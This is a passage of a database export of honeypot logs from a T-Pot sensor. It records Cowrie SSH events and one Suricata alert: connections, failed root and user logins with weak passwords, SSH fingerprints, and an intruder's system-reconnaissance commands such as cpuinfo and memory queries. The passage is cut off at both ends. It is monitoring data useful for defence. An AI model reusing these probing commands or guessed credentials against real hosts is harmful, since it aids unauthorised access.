"109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32209	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:35.235812+03	2021-09-20 15:00:03.183717+03	{"_id": "fgYLA3wBvYTbRNuEKkn1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:35.235812Z", "@timestamp": "2021-09-20T11:50:35.235Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32211	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:37.346024+03	2021-09-20 15:00:03.185718+03	{"_id": "iAYLA3wBvYTbRNuEMknI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:37.346024Z", "@timestamp": "2021-09-20T11:50:37.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32212	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:50:27.962395+03	2021-09-20 15:00:03.187715+03	{"_id": "UQYLA3wBvYTbRNuED0mY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "159622aa9446", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:50:27.962395Z", "@timestamp": "2021-09-20T11:50:27.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32213	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:27.949429+03	2021-09-20 15:00:03.188715+03	{"_id": "UAYLA3wBvYTbRNuED0mY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "107.173.209.238", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.8768813610076904, "duplicate": true, "timestamp": "2021-09-20T11:50:27.949429Z", "@timestamp": "2021-09-20T11:50:27.949Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32214	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:30.350501+03	2021-09-20 15:00:03.189751+03	{"_id": "WwYLA3wBvYTbRNuEF0lr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "107.173.209.238", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 1 seconds", "session": "78144d271630", "@version": "1", "duration": 1.8655314445495605, "duplicate": true, "timestamp": "2021-09-20T11:50:30.350501Z", "@timestamp": "2021-09-20T11:50:30.350Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32215	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:30.614474+03	2021-09-20 15:00:03.190747+03	{"_id": "XAYLA3wBvYTbRNuEF0lr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:30.614474Z", "@timestamp": "2021-09-20T11:50:30.614Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32216	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:30.61502+03	2021-09-20 15:00:03.191746+03	{"_id": "XQYLA3wBvYTbRNuEF0lr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:30.615020Z", "@timestamp": "2021-09-20T11:50:30.615Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32217	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:50:31.168165+03	2021-09-20 15:00:03.193748+03	{"_id": "XgYLA3wBvYTbRNuEGEnu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:13.521105+0000", "pkts_toclient": 0, "pkts_toserver": 8, "bytes_toclient": 0, "bytes_toserver": 624}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "87.112.251.105", "flow_id": 1804345649001361, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 35169, "timestamp": "2021-09-20T11:50:31.168165Z", "@timestamp": "2021-09-20T11:50:31.168Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32218	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:50:31.843956+03	2021-09-20 15:00:03.195747+03	{"_id": "XwYLA3wBvYTbRNuEG0lU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "259d267b9af0", "@version": "1", "duration": 3.982187032699585, "timestamp": "2021-09-20T11:50:31.843956Z", "@timestamp": "2021-09-20T11:50:31.843Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32219	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:32.89489+03	2021-09-20 15:00:03.196749+03	{"_id": "ZAYLA3wBvYTbRNuEH0k7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "107.173.209.238", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.3627943992614746, "duplicate": true, "timestamp": "2021-09-20T11:50:32.894890Z", "@timestamp": "2021-09-20T11:50:32.894Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32220	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:32.532722+03	2021-09-20 15:00:03.197718+03	{"_id": "ZQYLA3wBvYTbRNuEH0k7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:32.532722Z", "@timestamp": "2021-09-20T11:50:32.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32221	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:32.533213+03	2021-09-20 15:00:03.198719+03	{"_id": "ZgYLA3wBvYTbRNuEH0k7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:32.533213Z", "@timestamp": "2021-09-20T11:50:32.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32222	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:50:28.223311+03	2021-09-20 15:00:03.200746+03	{"_id": "UwYLA3wBvYTbRNuED0mZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "159622aa9446", "@version": "1", "timestamp": "2021-09-20T11:50:28.223311Z", "@timestamp": "2021-09-20T11:50:28.223Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32223	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:28.485054+03	2021-09-20 15:00:03.201717+03	{"_id": "VAYLA3wBvYTbRNuED0mZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:28.485054Z", "@timestamp": "2021-09-20T11:50:28.485Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32224	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:28.4856+03	2021-09-20 15:00:03.202718+03	{"_id": "VQYLA3wBvYTbRNuED0mZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:28.485600Z", "@timestamp": "2021-09-20T11:50:28.485Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32225	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:50:29.60067+03	2021-09-20 15:00:03.204746+03	{"_id": "VwYLA3wBvYTbRNuEE0mB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/666] failed", "session": "159622aa9446", "@version": "1", "password": "666", "username": "root", "timestamp": "2021-09-20T11:50:29.600670Z", "@timestamp": "2021-09-20T11:50:29.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32226	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:50:30.110625+03	2021-09-20 15:00:03.205717+03	{"_id": "WgYLA3wBvYTbRNuEF0lq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.login.failed", "message": "login attempt [Nicole/123456] failed", "session": "259d267b9af0", "@version": "1", "password": "123456", "username": "Nicole", "timestamp": "2021-09-20T11:50:30.110625Z", "@timestamp": "2021-09-20T11:50:30.110Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32227	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:31.748739+03	2021-09-20 15:00:03.206717+03	{"_id": "YAYLA3wBvYTbRNuEG0lU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "107.173.209.238", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 1 seconds", "session": "78144d271630", "@version": "1", "duration": 1.1343491077423096, "duplicate": true, "timestamp": "2021-09-20T11:50:31.748739Z", "@timestamp": "2021-09-20T11:50:31.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32228	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:32.532189+03	2021-09-20 15:00:03.207717+03	{"_id": "YwYLA3wBvYTbRNuEH0k7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:32.532189Z", "@timestamp": "2021-09-20T11:50:32.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32229	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:50:27.959603+03	2021-09-20 15:00:03.209717+03	{"_id": "TwYLA3wBvYTbRNuED0mY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:20733 (192.168.176.2:22) [session: 159622aa9446]", "session": "159622aa9446", "@version": "1", "protocol": "ssh", "src_port": 20733, "dest_port": 22, "timestamp": "2021-09-20T11:50:27.959603Z", "@timestamp": "2021-09-20T11:50:27.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32230	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:50:28.216411+03	2021-09-20 15:00:03.210717+03	{"_id": "UgYLA3wBvYTbRNuED0mY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "259d267b9af0", "@version": "1", "timestamp": "2021-09-20T11:50:28.216411Z", "@timestamp": "2021-09-20T11:50:28.216Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 